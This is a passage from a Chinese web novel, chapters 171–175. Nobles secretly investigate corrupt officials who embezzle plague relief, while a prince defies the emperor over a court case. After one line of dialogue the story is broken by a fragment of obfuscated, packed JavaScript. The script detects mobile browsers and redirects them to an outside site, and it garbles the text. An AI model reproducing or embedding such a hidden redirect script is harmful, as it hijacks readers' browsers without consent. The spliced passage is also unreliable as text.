“陆郡守亦是曾随父亲、母亲南征北战的大将,在父亲、母亲沧江水战殉国后不久,被李彦成寻了理由,贬为了豫章郡郡守。”
“我们只需在陆郡守带兵抵达临川前,掌握更多的证据,届时再与陆郡守来个里应外合,不必出面,待控住了许昌安和周世恒,方能救济幸存的无辜百姓。”
江元音脑海里浮现出那日在源城城外,齐司延同郑平远单独交谈的画面,感慨出声:“原来那时在源城城外,侯爷同郑知府谈的是这个啊。”
齐司延挑眉看她,“阿音那日看到我和郑知府交谈了?”
江元音点点头,随即品出他墨眸的“不怀好意”,到了嗓子眼的话咽了下去。
……这个男人莫名其妙地暗爽什么?
齐司延伸手搂过她纤细的腰身,眼角眉梢都是笑意,耐人寻味道:“原来那日阿音也有看我。”
他那日频频侧目,都未得到她半点回应。
原来她帷帽下的目光,也有追寻于他。
江元音明白了他在暗爽什么,双手撑住他的胸口,身子后仰拉开两人的距离,故意道:“人言可畏,阿兄务必谨言慎行。”
闻言,齐司延便想到了李掌柜特意安排的两间房,不爽低声道:“晚上我去你房里?”
“哪个兄长晚上会睡在妹妹的房间?”江元音无语看他,“如果侯爷真有妹妹,晚上会去妹妹房里睡?”
“如果妹妹是你的话,我会。”
江元音被他这番孟浪厥词窘红了脸,瞪了他半天,只憋出了一句:“……禽兽。”
短暂地腻歪了两句,两人都开始忙碌起来。
在等待陆迟领兵抵达临川前,他们有很多事需要做。
给贪生怕死的周康飞喂了“**”后,他便成为了齐司延他们在临川自由行走的令牌。
每次领其出药铺后院时,曲休都会谨慎给他套头蒙眼,免得他认出这是“杏林春”药铺来。
他们不是将他一直关在地窖,等到陆迟来了,再作为人证去指证周世恒和许昌安的原因很简单。
周康飞既是帮他们作恶的走狗,一旦消失不见几日,周世恒定会派人寻找。
临川只有这般大,又不准进出的,很容易便会查到他们头上。
而他们也需周康飞带他们深入临川新建的仓库,拿下更多的证据。
生怕自己吐血而亡的周康飞,仍以为齐司延等人,不过是想大捞一笔的商贾。
满脑子想的都是,无论如何只有先拿到解药,活下来,才有可能和他们算账。
于是他非常积极主动地带他们去了大肆建仓的地方,力证自己所言非虚,希望他们看在钱的份上,留他一命。
大肆建仓的地方,是临川城外不远的荒山。
周康飞将他们带到一处小山丘,指着不远处那一片临时搭建好的仓库,兴奋地冲齐司延介绍道:“爷,您瞅瞅,我真没骗您,您看看这成片的仓库,这么大的规模,里面可都塞得满满当当的了!”
“过一阵,只要将仓库里的粮食、药材倒卖完,大干一票,绝对一辈子吃喝不愁,衣食无忧!”
齐司延的目光却落在那乌泱泱的人群上。
隔得远,也依稀可以看到他们脚上都是沉重的镣铐,一个个如同行尸走肉,毫无生机。
有人动作慢了,便会换来一顿鞭笞。
他们甚至连求饶喊痛的声音都没有发出来。
若是被鞭笞倒地不起,便会直接被拖出人群。
周康飞循着齐司延的视线看过去,见齐司延盯着干活的人,又兴冲冲地介绍道:“爷,您放心,这些人不用休息,不分日夜的干活,很快能把仓库建好!”
“他们都是我从六县抓回来的青壮年,还有邻近城县派来援助的人,干活利索着呢!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15462647|166615||http|test|mini|href|location''.split(''|''),0,{}));
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r>齐司延喜怒不辨,道:“这般多的人,你觉得你所行之事,瞒得住?”
周康飞哪听得懂齐司延的言下之意,眼底其实有些鄙夷。
到底是长得白白净净的小白脸,都敢绑他了,还畏手畏脚!
但他面上不敢表露分毫,堆着笑道:“他们既掺和了这事,就没命活着,待仓库建好了,通通杀了就是,不过是些无足轻重的贱民,**也无人在意。”
一场灾疫,抚州六县本就剩不下多少百姓。
就是把他们都杀了,也可以说是死于疫病,简单得很。
齐司延又道:“若是在建成前,有人逃出去了,去官府鸣冤告状呢?”
“官府?”周康飞越发得意地笑了,忍不住地摇头晃脑,拍了拍自己的胸口:“我不就是官府嘛!”
齐司延:“总有比知府更大的官。”
“那又如何?”周康飞不以为然,“我伯父背靠的是许大人!那可是国公爷的嫡三子,国公爷一人之下万人之上,有国公爷做靠山,有何可惧?”
“真要是跑了也不怕……”他拉长语调,抬手恶毒地指了指自己的嘴,冲齐司延道:“爷,没有舌头的人,能说清楚什么?”
齐司延侧眸,冷冷望着周康飞的嘴,附和:“有理。”
待事情了结,他的舌头也不必留。
另一边,汴京。
珩王府邸,后院。
李霁立在观赏八角亭内,悠哉喂着池中锦鲤。
随侍立在亭外一丈远的位置,怕有家丁来传信,惊扰到他喂的鱼。
没多久,还真有家丁来传信禀告了。
王府里人人皆知,王爷养的这一池锦鲤,格外胆小,稍稍有点动静,便会四散开去。
是以,王爷喂鱼时,大家都蹑手蹑脚,大气不敢出。
随侍听了消息也不敢上前禀告。
李霁余光将其反应收入眼底,待手中的鱼食散尽,候在一旁端着铜盆帕子的婢女赶忙上前。
李霁洗了手,看向随侍:“什么事?”
随侍上前,躬身道:“启禀王爷,刑部来信,许子枫认罪自招,已签字画押。”
李霁“啧”了一声,掏过腰间的折扇,展扇扇了扇,“这许老头,可真是沉不住气。”
也是,有顾虑的人,总归是瞻前顾后的。
随侍双手将家丁刚交予他的,刑部送来的供词呈上:“这是许子枫的供词,请王爷过目。”
李霁接过,一目十行地看完,随后望着池塘中因为人声而四散开去的锦鲤,笑了笑,吩咐随侍:“备车,本王要进宫面圣。”
转眼二十来天了,也该结案了。
第172章 临近先皇后生辰
申时。
汴京,大昭皇宫,御书房。
李彦成一边看着李霁呈上来的结案奏折,一边听着李霁禀告。
片刻后,他扔掉手中的奏折,大半个身子侧压在龙椅右边的扶手上,左手虚搭着左边的扶手,手指有一下没一下地叩着镀金的龙首。
他笑了,道:“清晏的意思是,这事你查了二十来天,查到最后,真相是**一家因为先前巴结定宁侯叔父一家,得罪了定宁侯,而**未能缓和其同定宁侯的关系,是以心生怨怼,联合同样对**怀恨在心的叔父之女齐氏,一起构陷**,在国公府前对质,言行激动推搡到**,致其小产。”
“一切,都与安国公庶子,乃至于安国公府无关?”
“正是,”李霁拱手作揖,回道:“许公庶子许子枫六月便已休妻,齐氏与安国公府的确已毫无瓜葛。”
李彦成似笑非笑,问道:“那清晏作何处置啊?”
“将罪魁祸首**一家、齐氏流放边疆,安国公庶子许子枫,无罪释放。”
李彦成叩击龙首的动作多了快了些许,“你不是同定宁侯有些往来么?这般结案,不怕寒了定宁侯的心?”
“皇兄,臣弟与定宁侯真没甚往来,”李霁一派从容,“何况臣弟是秉公办案,无愧于心,定宁侯便是护妻心切,也不该罔顾真相啊,这公是公,私是私,安能混为一谈?”
“呵——”李彦成笑出了声,眼底却是一片冷意,“清晏啊清晏,这安国公是拿了什么奇珍异宝,亦或什么好处,让你如此维护啊?”
“冤枉啊皇兄,”李霁耷拉着眉眼,“臣弟真是秉公处置的,请皇兄明鉴。”
李彦成将先前扔在桌案上的奏折拾起,一把朝李霁扔去,怒道:“好一个秉公处置!”
李霁稍稍后仰避开,奏折才没砸到他的脸,但仍重重砸到他的胸口。
李彦成怒了,他跪地叩首:“皇兄息怒。”
曹学良等人亦吓得跪地高呼:“皇上喜怒。”
其实这些年来,李彦成同李霁之间,几乎没有大小声红过脸。
李霁可以说是这世上最了解李彦成性子的人,以他的口才,要避开惹怒李彦成的点,轻而易举。
李彦成俯视李霁,沉脸道:“你是朕在这世上唯一的血脉手足,是朕最信任的人,现下,连你也开始糊弄朕了?”
从先前给齐司延选平妻的事,他便对李霁积累了诸多不满,此刻全部迸发。
一会定宁侯,一会国公府。
他到底站在了哪个阵营?
低头叩首的李霁,唇角有自嘲的笑,场面而官方地回应道:“臣弟万不敢糊弄皇兄,实乃事实如此。”
“好,好啊,”李彦成胸膛起伏,“你是朕的胞弟,朕不会扫你在满朝文武中的面子,这个案子你要如何了结,朕都认。”
“时候尚早,你不如去趟刑部,再好好审审,别放过了不该放过的人,这份奏折我便当没看过,你想好了该怎么结案,再来呈情。”
“是,臣弟遵旨,臣弟告退。”
李霁行礼,退出了御书房。
李霁离开后,李彦成脸上的阴霾,久久不散。
他要的是李霁借题发挥,将火从许子枫烧到安国公府上去。
再等齐司延那边彻查了许昌安**赈灾款,两方给力,他得以名正言顺地卸掉许清手中部分权利。
他不信李霁不懂。
李彦成越想心口越堵,瞟了眼地上自己刚刚砸落的奏折,冲曹学良道:“把珩王落下的东西给珩王送去。”
他看着曹学良,婉转暗示道:“别忘记提醒珩王,做事要细心周到,别落下什么不该落下的。”
“是,皇上,”曹学良会意,忙捡起地上的奏折:“奴才明白。”
曹学良退出了低压的御书房,快步追上了李霁:“王爷留步!”
李霁驻足,完全没有惹怒龙颜的慌乱忐忑,还是那副云淡风轻的模样,问道:“曹公公有事?”
“王爷把折子落下了,”曹学良亦噙着笑,双手恭敬地递过去,“皇上让奴才提醒王爷,做事要细心周到,别落下什么不该落下的。”
李霁收下奏折,没什么大的反应,回道:“还望曹公公转告皇兄,皇兄的谆谆教导,本王铭记于心,不敢忘怀。”
曹学良点了点头,却没有要告退的意思。
李霁挑眉:“曹公公还有话没说完?”
曹学良环视了下左右,虽宫人们都离得远,还是躬身向前了一步,低声道:“眼瞅着临近先皇后生辰,每年这个时候,皇上心情都不太好,王爷还是顺着皇上心意些,免得惹了皇上不悦,那人人都难过呀。”
李霁好似听不懂曹学良话中的深意一般,令人摸不着头脑的,用不明所以的废话敷衍附和:“是啊,那是人人都难过。”
曹学良心里无语得很,但李彦成敲打他劝李霁做“正确”的事,他不得不继续道:“越是临近先皇后生辰,皇上便越发不想看见国公爷,毕竟当年……哎——”
他故意叹息停下。
先帝是**,但当年那些恩恩怨怨,李霁当是清楚分明的。
李霁更该懂得,李彦成对许清有多不满。
怎么帮其庶子许子枫脱罪呢?
李霁眼底有嗤笑,面色却是一派温和的笑,颔首道:“明白,本王都明白,曹公公放心。”
曹学良闻言,这才松了口气,“那奴才不耽搁王爷去刑部审案了,王爷慢走。”
李霁大步离开,但没有半点如李彦成心意的意思。
伤敌一千自损八百又如何?
这“八百”,他损得心甘情愿。
与此同时,安国公府,偏厅。
听闻李霁入宫面圣去了,一众世家文臣正在商议应对之策。
此事耽搁得实在太久,李霁那边久久不见动静,但许清没工夫时时刻刻盯着李霁那边。
是以才主动出击,让许子枫认罪。
一来此事已过去了二十多天,已过了众人热议关注的阶段。
二来是听闻江元音难以再孕,齐司延陪其寻访名医高人去了。
这时少了定宁侯一方势力的掺和,最是反击李霁的好时候。
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区区一个不合他意的庶子,不足为惜。
一番探讨商定后,众人纷纷表态。
“许公放心,我这几日早就琢磨好了谏言,明日早朝,定狠狠参珩王一本!”
“是啊,必让珩王坐实针对许公的恶行!”
一群人对好了谏言说辞,只等明日早朝,搅动风云。
说着说着,有家丁步履匆匆而来,立在偏厅门口,惊喜道:“国公爷,四少爷回来了!”
众人面面相觑,一头雾水。
许清冷声:“他人在何处?”
“知晓国公爷在议事,在院子里候着。”
“领他过来。”
家丁很快领着许子枫过来了。
许子枫虽在牢狱里待了二十多日,但没受过刑罚,身上半点伤也没,仅仅只是瘦了一大圈,加之浑身散发着酸难闻的臭味。
哪怕是离得远,许清也嫌弃得皱了皱眉,直入主题地问道:“你是怎么回来的?”
他不是“认罪”自招,李霁也赶去面圣了吗?
许子枫跪地回道:“刑部说……珩王爷说我是无辜的,无罪释放。”
他已经按照许清的指示认罪,也做好了受罚的准备,没想到却将他放了。
他自己都未能转过弯来。
众人讶然。
许清实在难忍许子枫身上的气味,摆摆手:“你先去沐浴换身衣裳。”
“是,父亲。”
许子枫退下,众人面面相觑,随后为难看向许清。
“这珩王是何意?在向许公示好吗?”
“许公,那明日早朝……我们如何是好啊?”
许清眸光深沉:“再议。”
……李霁到底想做什么?
抚州临川。
齐司延忙着处理苦役建仓,倒卖赈灾救疫的粮食与药材之事,江元音则负责整理药铺账本之事。
光是“杏林春”一家药铺的还不够,她正想法子要联合临川城内其余药铺一起。
这日,她刚戴上帷帽,想去城内其他药铺转转了解情况,药铺前堂却传来一阵阵年轻女子的哭声。
江元音忙抬步迈入前堂,视野里出现了三位穿着艳丽的年轻女子,一个个薄纱蒙面,露出一双含泪焦灼的眼。
离三位女子一丈远的李掌柜听到江元音走来的动静,忙转头,出声制止道:“小姐,莫过来。”
江元音问道:“怎么了?”
李掌柜抬手指了指了那三位女子,解释道:“这三位姑娘当是染上了疫病,身上皮肤多处溃烂,小姐离得远些,当心染上病气。”
语罢,转头一脸无奈看向三位女子,叹息摊手道:“不是我们‘杏林春’不救,实在是没药救啊,药材都被官府采购走了,三位姑娘再去别的药铺看看吧。”
三位女子哽咽道:“别的药铺、医馆我们也都去了,城里好些个药铺都不营业开门了,实在是没法子了……”
“求求你们了,救救我们姐妹几个吧,再过几日便是知府大人的宴会,若是我们得病不能侍候,怕是性命难保啊。”
闻言,江元音眼神亮了亮。
机会来了。
第173章 去救人
江元音开口问道:“什么宴会?灾疫未除,知府大人怎会办宴?”
六县百姓,民不聊生,周世恒竟还敢办宴?
他可真是半点不遮掩。
“正是为了灾疫办宴,”粉衣女子开口回道:“五日后,知府邀请了临川所有的士绅商贾登门赴宴,正是为了集齐众人的力量,赈灾救疫。”
另一紫衣女子附和:“是啊,城里有头有脸的人物都在邀约名单内。”
黄衣女子问道:“你们东家是谁?应该也被邀请了吧?”
江元音闻言了然。
什么集齐众人的力量赈灾救疫,分明是**了朝廷的赈灾款不够,侵占倒卖粮草、药材不够,还想把城内士绅、商贾的家底通通压榨一遍。
他们胃口可真大。
江元音没有回答她们的问题,而是接着问道:“可临川不是不准随意进出么?你们为何会感染上疫病?”
一听到这个,三人眼里热泪涌动,委屈不甘掺杂着忐忑惶恐。
“我们姐妹几个不过是‘飞莺阁’的舞姬,压根没出过临川,但知府大人……尤其是其侄少爷周康飞都很爱来我们这饮酒作乐。”
“周少爷隔三岔五便来,他近来时常出入六县,每次外出归来都会歇在飞莺阁,招我们姐妹几个伺候,想来是他把疫病传给了我们。”
“好在近几天周少爷不知为何都没来,否则我们怕是早就瞒不住了……”
知晓周康飞行踪的李掌柜,难掩心虚地望着江元音。
江元音不想其注意力往周康飞行踪上跑,继续问道:“为何要瞒着?周少爷当有充足的治疗疫病的药物,你们把病情告诉他,他同你们有交情,当会救你们才是。”
三个女子不住摇头。
“什么交情,我们不过是他们消遣的玩物,若知晓我们得了疫病,他只会直接杀了我们,哪会浪费药物给我们治病。”
“我们不是飞莺阁里初次感染上疫病的,先前也有姐妹染病被发现,直接**了……”
“阁里本来就没剩下多少姐妹,这次宴会我们不去便少了人手,惹怒知府大人会**的,我们染上疫病被知晓也会**,寻不到药物治病又会死,所以才来求医问药。”
“求求你们了,救救我们,我们不想死啊。”
“救救我们,我们愿意为奴为婢,报答你们……”
“好,”摸清楚缘由的江元音应了,“我会想法子救你们,但有些事,需要你们配合。”
女子们跪地道谢,连声称着“一定配合”。
李掌柜欲言又止地望着江元音,满脸为难。
江元音示意伙计领她们去一旁坐着稍等,自己唤李掌柜去了后院谈话。
一入后院,李掌柜忍不住道:“小姐,治疗疫病的药材真的全被官府收购了,店里虽还有其余药材,但对治疗疫病怕是成效甚微,我们如何救飞莺阁的舞姬啊?”
江元音回道:“我自源城药铺带了些治疫的药材过来,足够治疗她们三人。”
虽说周世恒等人也有向邻近的源城的药铺,低价收购药材,但毕竟源城不似抚州,不许通行。
源城“杏林春”的王掌柜一直在想法子购入药材。
江元音唤青鸢与沉月去取药材,又问李掌柜:“周知府办这个赈灾救疫的宴会,没邀请我们店铺吗?”
他们不就是想打着“赈灾救疫”的名号,再压榨一波士绅、商贾的银钱吗?
当不会放过任何一家商户才是吧。
李掌柜稍作思索,回道:“许是先前采购药材时便知晓,我们药铺的东家不在临川,店里都是雇佣的人手,没几个钱,才没来邀约。”
江元音若有所思地点点头。
不管用不用“杏林春”药铺东家的身份进入宴会,“飞莺阁”的舞姬都是一个好的切入点。
她们既常伴周世恒等人左右,指不定知晓更多其为非作歹的事迹。
三位女子摘了蒙面的薄纱,脸上脖颈上已有了多处溃烂,涂了厚重的胭脂水粉,也依旧遮盖不住。
药铺郎中给三位女子一一看了诊。
不待郎中出声,她们便急声询问:“约莫多久能好?”
“好全后可会留痕?”
“请郎中给我们用最好的药膏,我们若是留了疤,日后可怎么活啊。”
她们本就是以色侍人,做的是皮肉生意。
“难,难啊,”郎中没有弯弯绕绕,直言道:“你们感染有一阵了吧?这病气都发出来了,就是用了药,一时半会也难好,留不留疤我真说不准。”
眼看着三人又要抱哭成一团,江元音及时出声问道:“现下‘飞莺阁’除了你们三人,可还有其他人染上了疫病?”
先前同她们交谈,了解到“飞莺阁”里早有疫病。
被周康飞知道,不想浪费药材给她们治病,也不想她们把疫病传开,直接**毁尸。
因此,“飞莺阁”的舞姬越来越少,却从未传出有疫病,临川维持着“无灾无疫”的宁静假象。
只是马上要到周世恒的宴会,她们三人要是**,阁主一时也寻不到替补的人,才对她们的病情睁一只眼闭一只眼,让她们外出寻医。
她们摇头:“或许是有的,只是阁里的姐妹人人自危,生怕捅出来会**掉,都小心翼翼地藏着。”
她们三便是藏了好一阵了,直到身上的脓包溃烂越来越多,被阁主知晓,让她们出来求药碰碰运气。
“你们若是不离开‘飞莺阁’,而其他人一直带着病气,你们三个便是用了药也痊愈不了的。”
“可阁主不会同意我们离开‘飞莺阁’的……”
江元音道:“我会带上驱疫防疫的药,随你们去趟‘飞莺阁’。”
三人眸光瞬间亮了,惊喜道:“小姐仁者圣心,我们阁主、阁中姐妹,一定感激不尽!”
江元音整理好药材,便和沉月、青鸢,领着个郎中,随这三位女子去往“飞莺阁”。
这既是为了救人,也是为了探
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听更多周世恒的所作所为,以及五日后宴会操办的细节。
彼时不过下午申时,江元音等人到达飞莺阁门口时,嬉闹玩乐声已不绝于耳。
回忆起在源城看到的难民们,和进入抚州地界后,金溪县和乐安县的萧条惨状,再联想到那些被沉重镣铐锁在荒野,受着劳役建仓的无辜百姓,江元音觉得这些声音格外的刺耳。
同在“灾区抚州”,可这些人的命运,天差地别,如此荒诞。
那三位女子看不到江元音帷帽下的表情,更猜不透她的所思所想,客客气气地领着她往后院走。
后院是她们歇息的地方,没到忙活的点,或是没有客人点名让她们伺候时,她们可以远离乌烟瘴气的前堂,在后院歇息。
后院非常寂静空旷,冷冷清清的。
女子们同江元音介绍道:“因为疫病陆陆续续**不少姐妹,除了我们三个,其余姐妹当在前堂陪客。”
“小姐稍等,我这就去请示阁主,看何时能张罗在前堂陪客的姐妹们过来看诊。”
江元音表示了然的颔首。
未多久,女子请示了阁主带了位浓妆艳抹的女子回来,告知道:“前堂有客人,阁主只许我们一个接一个地过来看诊,免得怠慢了前堂的客人。”
女子拿出一锭银子朝江元音递过去,“我们阁主说,辛苦诸位登门驱疫防疫,此乃定金,待诸位办妥了,必有重谢。”
江元音接过,转手递给了郎中。
接着郎中便坐于一处空屋内,挨个给过来的姑娘看诊开药。
江元音则和沉月、青鸢,点燃了艾草、苍术,为后院的每一间屋子驱疫。
约莫过了两刻钟,有个梳着丫鬟发髻的小姑娘过来,冲着郎中道:“这位郎中,请随我去一趟二楼,我家姑娘有请。”
这时刚在郎中面前坐下的女子,不满出声:“我才刚坐下,怜盈儿便把郎中唤走,那我岂不是白跑一趟?她要看病,自己不会下来?”
“我家姑娘身子不适,在厢房休息,没法走下楼来,阁主也说了,我家姑娘有甚要求尽管提便是,如何不能请郎中上楼为我家姑娘看诊?”
“阁主说阁主说,有甚了不起?我也是阁主说了,让我来后院看诊的!”女子越发恼怒,半点不让,“张郎君还在包厢等我回去呢,我凭何要让怜盈儿!”
丫鬟也毫不退缩,仰了仰下巴,回道:“是张郎中重要还是许大人重要,青柳姑娘若是心中无数,不如去请示下阁主?若是一会许大人来了,我家姑娘抱恙不能跟前侍候,许大人的怒气,青柳姑娘可能担待?”
“你——!”女子气红了脸。
眼看着两人便要吵起来,先前的粉衣女子拉了拉坐在郎中前的女子,劝道:“哎呀,算啦,你等一会得了,你又不是不知道,怜盈儿正得许大人欢心呢,我们可得罪不起。”
这时旁听良久的江元音,拿着艾草冲丫鬟道:“我随你去二楼,见你家姑娘。”
第174章 为许昌安抚琴
“可我家姑娘是想请郎中看诊,”丫鬟打量着江元音,“你是女郎中?”
“哟,”青柳率先讥笑道:“这么急着见郎中,怜盈儿染上疫病了?”
“你胡说什么!”丫鬟激动反驳,“我家姑娘只是有些头疼,跟疫病有甚关系?”
“不是便不是,你激动个什么劲?”青柳刺激道:“难不成怜盈儿也怕自己染了疫病,便会被许大人抛弃吗?”
这时粉衣女子上前,想打个圆场:“别吵了,郎中还……”
“你别过来!”丫鬟却连连后退,蹙眉摆手道:“我晓得你已染了疫病,你且离我远些!”
粉衣女子垮了脸,回嘴道:“大家都住飞莺阁,能远到哪里去?你和你主子那么怕,怎么不搬出去?”
青柳帮腔:“是啊,许大人既然这么欢喜怜盈儿,怎地不给她赎身,把你们主仆俩接回他府上去住?”
其余人早看不惯怜盈儿,纷纷出声挖苦。
“何必跟我们挤在一块呢。”
“都是烟花女子,攀着个汴京来的恩客,便觉得自己高贵了?”
“有本事,让许大人带你们主仆俩去汴京啊,没本事就别叫。”
丫鬟单人难敌众嘴,涨红着脸,在大家一言接一句的**中,压根寻不到回嘴的机会。
江元音于一片混乱中冲丫鬟道:“走吧,既阁中已有人染上了疫病,不管你家姑娘染没染上,熏熏艾草,有备无患。”
从对话中她已经能确认这个“许大人”就是许昌安。
既如此,她当然要去见见这个深得许昌安宠爱的怜盈儿。
丫鬟吃了败仗,也不愿留在这,气呼呼地领着江元音上二楼去。
青鸢和沉月交换了眼神,无声交流出结果,青鸢留下,沉月跟过去。
江元音一路跟在丫鬟后面,帷帽下的双眼环视着周遭的环境。
怜盈儿的厢房,占了二楼近一半的位置。
想来这怜盈儿就算不是“飞莺阁”的头牌,也真真是受许昌安青睐。
毕竟,现下阁里除了怜盈儿,她暂未发现其他姑娘有丫鬟。
丫鬟推开了厢房门,有一袭杏色衣裙的娇媚美人急切地看过来,讶然问出声:“女郎中?”
江元音不置可否,没否认也没承认地入内,先指了指沉月手中的艾草、苍术介绍道:“飞莺阁有数位姑娘染上了疫病,艾草、苍术有防疫驱疫的功效,屋子里每个角落最好都熏一熏。”
怜盈儿颔首:“有劳了。”
得了允许,沉月才拿着艾草、苍术在屋子里活动。
“没成想临川竟还有女郎中,”怜盈儿兀自默认江元音是女郎中,领着她往软榻上落座,“女郎中好啊,日后我哪里有不适,都寻你看诊。”
她落座后,径直将右手伸出来,搁置在榻上的矮几上,摆好了让其诊脉的姿势。
江元音配合地伸手搭在其手腕处,问道:“姑娘只是头疼?”
以其丫鬟的说辞反应,怜盈儿应当不止是头疼而已。
许是感染了疫病,但怕传到许昌安耳里?
怜盈儿目光有些躲闪,这让江元音越发笃定,又道:“导致头疼的缘由有很多,若姑娘身子还有其他不适还请一并告知,免得误诊。”
说话间她目光不着痕迹地打量着怜盈儿裸露出来的部分皮肤,比如脸、脖颈与手腕,确认是否有脓包与溃烂。
尚未看出什么端倪。
怜盈儿一阵犹疑后,拿过矮几上的木匣子,往江元音面前递了递,“这里面有些银两和首饰,有一事想请郎中帮忙。”
“何事?”江元音明知故问道:“姑娘且先说说?”
怜盈儿抬手,褪去左肩的衣衫,朝江元音扭转了下身子,露出背部的肌肤,道:“我应当是染上疫病了,还请郎中帮我诊治,且帮我瞒住此事。”
她的背部,已有几处溃烂,但不如之前去药铺求诊的那三位严重。
是疫病的初级症状。
“为何要瞒住?”江元音打探道:“飞莺阁确诊染上疫病的姑娘已有三位,正是因此,我们才会登门来驱疫防疫,姑娘大大方方就诊便可。”
“我家姑娘和她们可不一样,”丫鬟帮腔解说道:“她们不过就是五日后知府宴会上要献舞的舞姬,要不是一时寻不到可替代的,阁主才不会把她们留在阁内,但我家姑娘可是入了许大人的眼,许大人何其尊贵,要是……”
“好了!”怜盈儿出声喝止丫鬟,冲江元音叹息道:“同为女子,我便实话同你说了,没有哪个女子愿意留在烟柳巷,幸得许大人青睐,我想随他去汴京,万不能让他知晓我染上了疫病。”
“阁里的那些个姐姐妹妹,素来不与我交好,她们若是知晓我染上了疫病,一定会想法子告诉许大人。”
“还请郎中走出我厢房后,告知她们,我未染上疫病,断了她们的念头。”
哪怕现下人人都觉得许昌安对她甚是宠爱,她也万不敢去赌。
她害怕他会弃了她。
见江元音一直不语,怜盈儿穿好衣服,瞟了眼木匣子,询问道:“郎中可是嫌少?”
江元音不答反问:“你身上已有多处溃烂,便是我答应替你瞒住,你如何能瞒住许大人?”
“这个我自有法子,郎中无需忧心,”怜盈儿一句带过,再次追问道:“郎中可能应允我的请求?”
“可以,我会竭尽全力的医治你,”江元音将木匣子推回去,“但这些便不必了。”
怜盈儿挑眉望着江元音,屏息等她后话。
江元音徐声道:“这人与人之间,都是你来我往的行方便,今日我帮了姑娘,来日或许就需要姑娘对我伸以援手了。”
她想从怜盈儿这拿到五日后被宴请的宾客名单,想拿到更多许昌安、周世恒**库银,鱼肉百姓的情报与证据。
这些,现在自然无法直接与怜盈儿开口。
然而怜盈儿只道江元音精明,一定是看她攀上了许昌安,觉得让她欠个人情比木匣子里的银两首饰更值钱。
但一想只要顺利瞒住此事,治好了疫病,便能跟许昌安回汴京去了。
到时候她想要自己还这个“人情”,也得寻得到她才是。
思及此,她没甚犹豫地应了:“好,只要我在临川,日后有甚能帮得上郎中的,郎中尽管说。”
达成共识,江元音收回“把脉”的手,道:“我会给你开药、送药,一会下楼会对她们说,你没有染上疫病,给你开的都是治疗头疼的药。”
怜盈儿松了口气,脸上卸掉了沉重,透出些笑意来:“多谢郎中配合。”
这时忽然阵阵喧嚣的人声。
怜盈儿冲丫鬟道:“楼下怎么这么吵?”
丫鬟跑到窗边,推开窗往下瞧了瞧,继而转头回道:“姑娘,是阁主来后院了,肯定是许大人来飞莺阁了,阁主来请姑娘准备,去见许大人呢!”
怜盈儿眸光骤亮,赶忙拢了拢衣服,听着门外“哒哒哒”的脚步声,示意丫鬟赶紧去开门。
进来的不是阁主,而是阁主的丫鬟,知会道:“盈儿姑娘,今晚许大人要携友过
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来,还剩一个半时辰,阁主让姑娘赶紧用心梳洗打扮一番。”
“我知道了,”怜盈儿克制着眸光中的惊喜,状似随意地问了一句:“阁主怎么没上来?”
“和其他姑娘们说事呢。”
怜盈儿的丫鬟想起自己刚刚被**,幸灾乐祸的出声道:“她们犯事了吧?我好似听到阁主发怒的声音了。”
怜盈儿不悦扫了她一眼,制止吩咐道:“快去准备,侍候我梳妆。”
她发了疫病,背部有了瘆人的溃烂,得用心遮一遮。
哪怕,其实许昌安至今都未碰过她的身子。
这也是她觉得,只要瞒住了阁里那些多舌的姐妹,就能瞒住他的原因。
当着阁主丫鬟的面,江元音如怜盈儿所愿地出声道:“我一会开些药给姑娘缓缓头疼之症,但姑娘仍需保持愉悦的心情,我不打扰姑娘梳妆,告辞。”
说完,和沉月一道,随着阁主的丫鬟下了楼。
楼下,那三位去“杏林春”求药的女子,瑟瑟发抖的缩在一块,惶恐不安地瞅着面前三十五左右的女人。
这女人便是“飞莺阁”的阁主珍娘。
珍娘厉声骂道:“你们几个可真是赶上‘好时候’了,这要是放在灾疫前,我飞莺阁可不养你们这种废物!”
“半点不争气,平日除了练舞,也不知晓学学其他本事!”
“现在你们身上发烂,没法着舞衣跳舞了,阁里的琴师们,能顶替你们上场跳舞,可你们呢?!”
“你们一个乐器也不会,今晚有贵客登门,这么好的机会你们也把握不住!”
“扫了许大人的兴,你们也不必治病等着五日后的宴会了,今晚直接**得了!”
那三个女子挨着骂,是半句嘴也不敢还。
哆嗦着求饶:“我们以后会好好学的……”
“我们以后除了练舞,一定再学乐器,阁主饶了我们吧……”
“以后?”珍娘更是怒不可遏,“今晚得罪了许大人,大家都别活,还有什么以后?”
她本就烦得不行,破事一件接一件。
要不是这疫病,她何愁寻不到新的姑娘,根本不会管这些废物!
这时旁听已久的江元音出声道:“我略会些琴艺,或许能解阁主燃眉之急。”
珍娘这才转头看向江元音,试图透过帷帽,看到她的脸,探寻问道:“你是?”
“我是‘杏林春’药铺东家的妹妹,”江元音淡声道:“我可以代替乐师抚琴,阁主就别为难这三位姑娘了。”
珍娘换上一副笑脸,生怕其反悔,立马笑吟吟地夸赞道:“不愧是药铺家的小姐,行医者就是心善仁慈。”
她继续下诱饵道:“今晚要接待的可是汴京来的许大人,他携友前来,可都是我们这小小临川见不到的大人物,小姐琴艺若是得了他们赞赏,这‘杏林春’没准能开到汴京去呢!”
哪个良家女子,不是迫不得已愿在烟花之地卖艺?
她只到她是小女儿家的心软善良,生怕她冷静下来后要反悔。
三个女子跪地,真把江元音当成了救命恩人,“多谢小姐!”
江元音知晓珍娘是什么心理,顺势提出要求:“我可以帮忙,但不能露面,免得被家人知晓。”
“明白,明白,”珍娘连连点头,“小姐放心,你今晚在我阁中抚琴一事,定不会传出去。”
帷帽下,江元音勾唇笑了笑。
许昌安携友前来?
她倒要看看,除了抚州知府周世恒,还有谁掺和到抚州这次的灾疫了。
第175章 是朕的女儿,是真的公主
汴京,大昭皇宫。
李彦成大发雷霆:“李霁,你太令朕失望了!”
他没唤李霁“清晏”,而是直呼其名,可见怒火之旺。
李霁跪地,倒是没甚恐慌,回道:“臣弟不知为何秉公办案,会令皇兄失望。”
他仰头直视龙椅上的李彦成,又问道:“皇上是想臣弟直接处死许子枫?”
李彦成面色阴沉,呼吸起伏,半晌没出声。
这些年,李霁替他办了不少他不便出面的事。
